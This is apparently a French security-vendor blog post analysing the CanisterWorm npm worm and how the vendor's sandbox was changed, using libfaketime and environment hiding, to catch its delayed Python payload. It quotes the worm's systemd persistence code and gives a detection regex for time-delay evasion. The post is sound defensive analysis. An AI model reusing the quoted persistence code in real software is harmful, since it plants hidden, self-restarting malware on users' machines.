← Blog

19-21 mars 2026. CanisterWorm, un ver auto-propagateur npm, compromet 64+ packages via des tokens npm volés. Le vecteur initial : la compromission de Trivy (Aqua Security) par le groupe TeamPCP. 75 des 76 tags de trivy-action ont été force-pushés avec un infostealer. 135+ artefacts malveillants identifiés au total.

MUAD'DIB a détecté 7 packages compromis. Le verdict était DORMANT SUSPECT, pas MALICIOUS. Cet article explique pourquoi, et ce qu'on a corrigé.

L'attaque

CanisterWorm est le premier ver npm documenté qui utilise un C2 sur la blockchain ICP (Internet Computer Protocol). Le payload vole des tokens npm, puis les utilise pour publier des versions infectées des packages du développeur compromis. Le ver se propage automatiquement.

Aikido a fait la première détection publique le 20 mars à 20:45 UTC.

Le payload installe un service systemd persistant qui lance un script Python :

fs.writeFileSync(unitFilePath, [
  '[Unit]',
  `Description=${SERVICE_NAME}`,
  'After=default.target',
  '',
  '[Service]',
  'Type=simple',
  `ExecStart=/usr/bin/python3 ${scriptPath}`,
  'Restart=always',
  'RestartSec=5',
  '',
  '[Install]',
  'WantedBy=default.target',
].join('\n'), { mode: 0o644 });

execSync('systemctl --user daemon-reload', { stdio: 'pipe' });
execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' });
execSync(`systemctl --user start  ${SERVICE_NAME}.service`, { stdio: 'pipe' });

Le script Python exécute un time.sleep(300) avant de contacter le canister C2 sur la blockchain ICP. Cinq minutes.

Ce que MUAD'DIB a détecté

7 packages compromis détectés entre le 20 mars 23:49 UTC et le 21 mars 00:27 UTC, tous confirmés par JFrog XRAY :

PackageJFrog XRAYDétection
@emilgroup/document-sdk-node@1.43.6XRAY-95494720 mars 23:49
@emilgroup/insurance-sdk@1.97.6XRAY-95492821 mars 00:13
@teale.io/eslint-config@1.8.16XRAY-95494521 mars 00:14
@opengov/ppf-backend-types@1.141.2XRAY-95496221 mars 00:24
@airtm/uuid-base32@1.0.2XRAY-95493721 mars 00:26
@virtahealth/substrate-root@1.0.1XRAY-95505521 mars 00:27
react-leaflet-heatmap-layer@2.0.1XRAY-95493121 mars 00:27

C'est 7 sur 64+ packages compromis. L'analyse statique a remonté les signaux suivants sur chaque package :

  • suspicious_dataflow (CRITICAL), detached_credential_exfil (CRITICAL)
  • lifecycle_script, detached_process, js_obfuscation_pattern, high_entropy_string
  • TEMPORAL ANOMALY : postinstall ajouté entre versions (CRITICAL)
  • AST ANOMALY : child_process (CRITICAL), process.env (HIGH), https_request (HIGH)
  • PUBLISH ANOMALY : publish_burst, dormant_spike, rapid_succession
  • MAINTAINER CHANGE : new_maintainer x5-8, suspicious_maintainer x2-3

Score statique : 87/100. Les webhooks Discord ont été envoyés automatiquement.

Le problème : sandbox score 0

Le verdict final était DORMANT SUSPECT, pas MALICIOUS. Pourquoi ?

Le payload Python fait time.sleep(300) avant de contacter le C2. La sandbox MUAD'DIB a un timeout de 60 secondes par run (180 secondes pour les 3 runs cumulés). Le malware ne s'active jamais pendant l'analyse.

Le preload.js du sandbox patche les timers Node.js : setTimeout est forcé à 0, Date.now() est décalé. Mais le payload Python est lancé via execSync('systemctl --user start ...'). Le processus Python utilise le vrai time.sleep() de la libc. Le monkey-patching JavaScript ne touche pas les processus enfants Python ou bash.

Résultat : sandbox score 0/100 CLEAN. L'analyse statique a scoré 87, mais sans confirmation sandbox, le verdict reste DORMANT SUSPECT.

La solution : libfaketime (v2.10.7)

libfaketime est une bibliothèque qui intercepte les appels C de la libc : nanosleep, clock_gettime, gettimeofday. Via LD_PRELOAD, elle affecte tous les processus : Node.js, Python, bash, tout ce qui utilise la libc.

Avec un multiplicateur x1000, time.sleep(300) se complète en 0.3 secondes réelles.

Architecture

Deux niveaux complémentaires :

CoucheMécanismeCible
preload.js (JS)Monkey-patching V8setTimeout, Date.now, process.hrtime
libfaketime (C)LD_PRELOAD libcnanosleep, clock_gettime, gettimeofday

Le preload.js continue de logger les appels API (réseau, fichiers, env vars) et d'accélérer les timers JavaScript. libfaketime gère l'accélération au niveau système pour les processus enfants.

Implémentation en 7 fichiers

docker/Dockerfile : ajout de libfaketime au apk add.

RUN apk add --no-cache strace curl tcpdump coreutils findutils jq iptables libfaketime

src/sandbox/index.js : injection conditionnelle. Run 1 (baseline) n'utilise pas libfaketime. Runs 2 et 3 injectent MUADDIB_FAKETIME et mettent NODE_TIMING_OFFSET=0 pour éviter la double accélération :

const useFaketime = timeOffset > 0;
dockerArgs.push('-e', `NODE_TIMING_OFFSET=${useFaketime ? 0 : timeOffset}`);

if (useFaketime) {
  const hours = Math.floor(timeOffset / 3600000);
  const faketimeStr = hours >= 24
    ? `+${Math.floor(hours / 24)}d x1000`
    : `+${hours}h x1000`;
  dockerArgs.push('-e', `MUADDIB_FAKETIME=${faketimeStr}`);
  dockerArgs.push('-e', 'MUADDIB_FAKETIME_ACTIVE=1');
}

docker/sandbox-runner.sh : setup LD_PRELOAD conditionnel avec DONT_FAKE_MONOTONIC=1 (protège la libuv event loop de Node.js).

if [ -n "$MUADDIB_FAKETIME" ] && [ -n "$LIBFAKETIME_PATH" ]; then
  export LD_PRELOAD="$LIBFAKETIME_PATH"
  export FAKETIME="$MUADDIB_FAKETIME"
  export DONT_FAKE_MONOTONIC=1
  export FAKETIME_NO_CACHE=1
fi
unset MUADDIB_FAKETIME MUADDIB_FAKETIME_ACTIVE

docker/preload.js : 4 modifications.

  1. Anti-double-accélération : si MUADDIB_FAKETIME_ACTIVE=1, alors TIME_OFFSET=0. libfaketime gère déjà l'offset au niveau C, ajouter l'offset JavaScript causerait un décalage de +144h au lieu de +72h.
  2. Suppression des variables sandbox : LD_PRELOAD, FAKETIME, DONT_FAKE_MONOTONIC, FAKETIME_NO_CACHE sont supprimés de process.env immédiatement après le chargement. libfaketime est déjà chargé en mémoire, les variables ne sont plus nécessaires.
  3. Proxy traps enrichis : le Proxy process.env existant reçoit des traps has, ownKeys et getOwnPropertyDescriptor pour cacher les variables sandbox. Un malware qui fait 'LD_PRELOAD' in process.env ou Object.keys(process.env) ne voit rien.
  4. Spoofing /proc/self/environ : un malware Python peut lire /proc/self/environ pour détecter LD_PRELOAD. Le readFileSync intercepte ce chemin et filtre les variables sandbox du contenu.

Détection statique : SHELL-019

En complément du sandbox, une nouvelle règle statique détecte le pattern python3 -c "...time.sleep(N)..." avec N >= 100 secondes dans les scripts shell :

// src/scanner/shell.js
{ pattern: /python[23]?\s+-c\s*['"].*time\.sleep\s*\(\s*[1-9]\d{2,}/m,
  name: 'python_time_delay_exec', severity: 'HIGH' }

Règle MUADDIB-SHELL-019, MITRE T1497.003 (Time Based Évasion Checks). Le seuil de 100 secondes évite les faux positifs sur les courts délais légitimes.

Logs de production

Voici ce que le sandbox affiche sur un package avec libfaketime actif :

[SANDBOX] Run 1/3 (immediate)...
[SANDBOX] Snapshot filesystem before install...
[SANDBOX] Installing package as sandboxuser...
[SANDBOX] Executing package entry point...
[SANDBOX] Building report...
[SANDBOX] Run 2/3 (72h offset)...
[SANDBOX] libfaketime active: FAKETIME=+3d x1000
[SANDBOX] Installing package as sandboxuser...
[SANDBOX] Run 3/3 (7d offset)...
[SANDBOX] libfaketime active: FAKETIME=+7d x1000

Run 1 : pas de libfaketime, c'est la baseline. Runs 2 et 3 : libfaketime accélère le temps système x1000. Le time.sleep(300) Python se termine en 0.3 secondes, le payload C2 se déclenche, et tcpdump/strace capturent la connexion réseau.

Limitations

LangageFonctionne ?Détail
Python (CPython)Ouitime.sleep() accéléré. time.monotonic() pas affecté
Bash/shOuisleep 300 accéléré
GoNonLink statique libc, bypass LD_PRELOAD
RustNonIdem
Java/JVMRisqueHangs possibles sans DONT_FAKE_MONOTONIC

Go et Rust linkent la libc statiquement par défaut. LD_PRELOAD ne peut pas intercepter leurs appels système. C'est une limitation connue et documentée. Pour les malwares Go/Rust, la détection statique reste la seule ligne de défense.

Métriques v2.10.7

MétriqueAvantAprès
Règles162 (157+5)163 (158+5)
Tests26432669 (+26)
TPR93.9%93.9%
FPR curated11.0%11.0%

Zéro régression. Zéro faux positif ajouté. Le seuil de 100 secondes pour SHELL-019 et la restriction aux scripts shell (.sh, shebang) éliminent les cas bénins.

Leçon

Le monkey-patching JavaScript (preload.js) ne suffit pas. Quand un malware npm lance un processus Python, bash, ou n'importe quel binaire natif, les patches V8 sont invisibles. libfaketime comble ce gap en interceptant au niveau de la libc, avant même que l'interpréteur Python ne démarre.

CanisterWorm illustre un pattern récurrent : les attaquants utilisent volontairement un langage différent pour le payload (Python dans un package npm) précisément pour échapper aux sandboxes qui ne patchent que le runtime principal. La détection doit être polyglotte.

Et soyons honnêtes : MUAD'DIB a détecté 7 packages sur 64+ compromis, avec un verdict DORMANT SUSPECT et pas MALICIOUS. L'analyse statique a fonctionné. La sandbox non. C'est exactement le type de gap que libfaketime comble.

Sources